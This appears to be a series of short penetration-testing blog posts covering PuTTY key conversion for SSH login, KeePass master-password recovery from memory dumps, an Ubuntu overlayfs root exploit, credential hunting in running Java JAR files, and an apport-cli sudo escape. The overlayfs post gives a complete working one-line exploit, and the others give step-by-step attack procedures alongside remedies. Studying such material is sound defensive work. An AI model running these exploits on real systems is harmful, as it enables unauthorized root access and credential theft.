by Vry4n_ | Jan 17, 2024 | Uncategorised
To convert a PuTTY SSH private key to the PEM format, you can use the PuTTYgen tool that comes with PuTTY. PuTTYgen can convert keys between different formats, including PuTTY’s own format (.ppk) and the PEM format.
PPK (PuTTY Private Key):
- Associated Tool: PuTTY
- Format: Proprietary binary format
- Usage: PuTTY, a popular SSH and Telnet client for Windows, uses the PPK format for storing private keys.
- Extension: .ppk
- Conversion: PPK keys can be converted to other formats, such as PEM, using tools like PuTTYgen (part of the PuTTY suite).
PEM (Privacy Enhanced Mail):
- Associated Tool: OpenSSL, OpenSSH, and many other SSH clients on Unix-like systems
- Format: ASCII text (Base64-encoded)
- Usage: The PEM format is widely used for storing private and public keys. It is a standard format that is not tied to a specific tool or platform.
- Extension: .pem, .key, .pvt, .priv
Identification
1. Identify the file format
- file PuTTY-User-Key-File.ppk
Exploitation
1. Convert the file from .ppk to pem
- puttygen PuTTY-User-Key-File.ppk -O private-openssh -o pem_file.pem
- file pemfile.pem
Note: you can use this private key to authenticate to different services in this case SSH
2. Assign proper permissions to the key
- chmod 600 pem_file.pem
- ls -l pem_file.pem
3. Use it as SSH key
- ssh root@10.10.11.227 -i pem_file.pem
Note: Incase that it is password protected you can use ssh2john to brute force it
by Vry4n_ | Jan 17, 2024 | Application
KeePass could allow a local attacker to obtain sensitive information, caused by a flaw when performing memory dump. By sending a specially crafted request, an attacker could exploit this vulnerability to obtain master password from a memory dump, and use this information to launch further attacks against the affected system.
It doesn’t matter where the memory comes from – can be the process dump, swap file (pagefile.sys), hibernation file (hiberfil.sys), various crash dumps or RAM dump of the entire system. It doesn’t matter whether or not the workspace is locked. It is also possible to dump the password from RAM after KeePass is no longer running, although the chance of that working goes down with the time it’s been since then.
Requirements
- KeePass 2.23 or earlier
- Dump file (memory dump)
- a .kdbx file (database)
Affected Products
KeePass KeePass 2.53
Lab
1. Create a DUMP file by opening task manager and right clicking on KeePass process, Create dumpfile
Exploitation
1. Having a Dump file from KeePass 2.53 version we can run the script https://github.com/vdohney/keepass-password-dumper?tab=readme-ov-file, Download this tool as ZIP into a Windows machine
2. Extract the file from the Zip file
3. Run the program and indicate the dump file location, or copy the file within the same directory of the script
- dotnet run G:\Users\Desktop\KeePass.DMP
4. After the script completes you will have a close or complete password. In this case the password was helloworld, it got elloworld, as you can see the descending lines from 2 to 10.
5. Then you can test importing and opening the file in KeyPass
- File -> Import
- Select the format KeePass KDBX (2.x)
- Select the file from the folder (it has to be a .kdbx format
- Click OK
- Enter the Password
Note, you can also search on the internet for some common words, pasting the result into a web browser, it may correct you. Try upper and lower case combinations.
Remedy
Upgrade to the latest version of KeePass (2.54 or later), available from the SourceForge KeePass Project Web site.
if you’ve been using KeePass for a long time, your master password (and potentially other passwords) could be in your pagefile/swapfile, hibernation file and crash dump(s). Depending on your paranoia level, you can consider these steps to resolve the issue:
- Change your master password
- Delete crash dumps (depends on your OS, on Windows at least C:\Windows\memory.dmp, but maybe there are others)
- Delete hibernation file
- Delete pagefile/swapfile (can be quite annoying, don’t forget to enable it back again)
- Overwrite deleted data on the HDD to prevent carving (e.g. Cipher with /w on Windows)
- Restart your computer
Sources
https://exchange.xforce.ibmcloud.com/vulnerabilities/255380
https://github.com/vdohney/keepass-password-dumper?tab=readme-ov-file
https://nvd.nist.gov/vuln/detail/CVE-2023-32784
https://sysdig.com/blog/keepass-cve-2023-32784-detection/
https://www.bleepingcomputer.com/news/security/keepass-exploit-helps-retrieve-cleartext-master-password-fix-coming-soon/
https://www.youtube.com/watch?v=EXgd4AV-VPQ
https://sourceforge.net/p/keepass/discussion/329220/thread/f3438e6283/
by Vry4n_ | Jan 16, 2024 | Privilege Escalation
Ubuntu could allow a local authenticated attacker to gain elevated privileges on the system, caused by skipping permission checking for trusted.overlayfs.* xattrs”. By sending a specially crafted request, an attacker could exploit this vulnerability to escalate privileges.
CVE-2023-2640
https://www.cvedetails.com/cve/CVE-2023-2640/
- On Ubuntu kernels carrying both c914c0e27eb0 and “UBUNTU: SAUCE: overlayfs: Skip permission checking for trusted.overlayfs.* xattrs”, an unprivileged user may set privileged extended attributes on the mounted files, leading them to be set on the upper files without the appropriate security checks.
CVE-2023-32629
https://www.cvedetails.com/cve/CVE-2023-32629/
- Local privilege escalation vulnerability in Ubuntu Kernels overlayfs ovl_copy_up_meta_inode_data skip permission checks when calling ovl_do_setxattr on Ubuntu kernels.
Vulnerable kernels
6.2.0 Ubuntu 23.04 (Lunar Lobster) / Ubuntu 22.04 LTS (Jammy Jellyfish)
5.19.0 Ubuntu 22.10 (Kinetic Kudu) / Ubuntu 22.04 LTS (Jammy Jellyfish)
5.4.0 Ubuntu 22.04 LTS (Local Fossa) / Ubuntu 18.04 LTS (Bionic Beaver)
Identification
1. Verify the OS version
2. Verify the kernel version
- uname -r
- uname -a
- cat /proc/version
Exploitation
1. Knowing this is a vulnerable version of Ubuntu (6.2.0), we can proceed to run the following command to become root
- unshare -rm sh -c “mkdir l u w m && cp /u*/b*/p*3 l/; setcap cap_setuid+eip l/python3;mount -t overlay overlay -o rw,lowerdir=l,upperdir=u,workdir=w m && touch m/*;” && u/python3 -c ‘import os;import pty;os.setuid(0);pty.spawn(“/bin/bash”)’
2. After running this command you should become root
Breakdown
- unshare -rm sh -c: This command creates a new namespace (-m), and then runs a shell (sh) in this new namespace. The -r option makes the process run in a separate user namespace.
- “mkdir l u w m && cp /u*/b*/p*3 l/; setcap cap_setuid+eip l/python3; mount -t overlay overlay -o rw,lowerdir=l,upperdir=u,workdir=w m && touch m/*;”: This is the command that is executed in the new namespace. It does the following:
- mkdir l u w m: Creates four directories – l, u, w, and m.
- cp /u*/b*/p*3 l/: Copies files matching the pattern /u*/b*/p*3 to the directory l/.
- setcap cap_setuid+eip l/python3: Sets the cap_setuid capability and eip flag on the python3 binary in the l/ directory.
- mount -t overlay overlay -o rw,lowerdir=l,upperdir=u,workdir=w m: Mounts an overlay filesystem using the directories l, u, and w. The overlay filesystem allows combining multiple directories into one.
- touch m/*: Creates empty files in the m/ directory.
- &&: This is a logical AND operator, which means the next command will be executed only if the previous one succeeds.
- u/python3 -c ‘import os; import pty; os.setuid(0); pty.spawn(“/bin/bash”)’: This command is executed if the previous part is successful. It uses the python3 interpreter located in the directory u/ to execute a Python script. The Python script imports the os and pty modules, sets the user ID to 0 (root), and spawns a new interactive bash shell using pty.spawn(“/bin/bash”).
Remedy
The problem can be corrected by updating your system to the following package versions:
Sources
https://github.com/g1vi/CVE-2023-2640-CVE-2023-32629
https://www.cvedetails.com/cve/CVE-2023-2640/
https://www.cvedetails.com/cve/CVE-2023-32629/
https://github.com/ThrynSec/CVE-2023-32629-CVE-2023-2640—POC-Escalation
https://exchange.xforce.ibmcloud.com/vulnerabilities/261608
https://exchange.xforce.ibmcloud.com/vulnerabilities/261608
by Vry4n_ | Jan 14, 2024 | Credential Dumping, Linux Post-Exploitation
.jar file enumeration from processes in Linux involves identifying and extracting information about Java Archive (JAR) files that are currently running within a system’s processes. This process can be useful for various purposes, such as troubleshooting, security analysis, or understanding the dependencies of a running Java application.
Enumeration
1. Use tools like ps or pgrep to identify running Java processes. You can filter processes based on the Java executable or any related parameters.
2. Once you identify the Java processes, extract more detailed information using tools like jcmd or jps (Java Process Status). For instance:
- jcmd <PID> help
- jcmd <PID> VM.system_properties
Note: files associated with the Java processes. This information can be extracted from the output of the previously used tools.
3. The lsof command can be helpful in listing open files, including JAR files opened by Java processes:
- lsof -p <process-id> | grep “.jar”
4. The /proc filesystem in Linux provides a wealth of information about processes. You can navigate to /proc/<process-id>/ and examine files like cmdline, which contains the command-line arguments, and maps, which displays memory maps, potentially revealing loaded JAR files.
- ls -l /proc/<process-id>/cwd
- cat /proc/<process-id>/cmdline
5. Extract strings from the process memory to identify potential JAR file references:
- strings /proc/<process-id>/mem | grep “.jar”
6. Java applications may log information about loaded JAR files. Check the application logs for any relevant details
Exploitation
1. Once you locate the jar file you can transfer it to your computer and examine the code using jd-gui
2. Click open file, locate the .jar, open it
3. Expand the tabs analyze the code and try to find flaws or any confidential data such as usernames & passwords
Note: In this case we found POSTGRESQL database username and password
by Vry4n_ | Jan 14, 2024 | Privilege Escalation
A privilege escalation attack was found in apport-cli 2.26.0 and earlier which is similar to CVE-2023-26604. If a system is specially configured to allow unprivileged users to run sudo apport-cli, less is configured as the pager, and the terminal size can be set: a local attacker can escalate privilege. It is extremely unlikely that a system administrator would configure sudo to allow unprivileged users to perform this class of exploit.
This vulnerability only works if assign in sudoers
Identification
1. Verify that apport-cli is allowed to run with sudo privileges
2. Verify that the version is lower than 2.26.0
- sudo /usr/bin/apport-cli -v
Exploitation
1. Execute apport-cli with parameter file bug (Select any option)
- sudo /usr/bin/apport-cli –file-bug
2. Select any option
3. Press any key
4. Press V (View Report), this will open a less page as root
5. Now execute a shell, click enter
6. You’ll get a shell as root
Remedy
Upgrade the apport-cli version
Restrict the assignment to users
Sources
https://security.snyk.io/vuln/SNYK-UBUNTU2210-APPORT-5422155
https://nvd.nist.gov/vuln/detail/CVE-2023-1326
https://github.com/diego-tella/CVE-2023-1326-PoC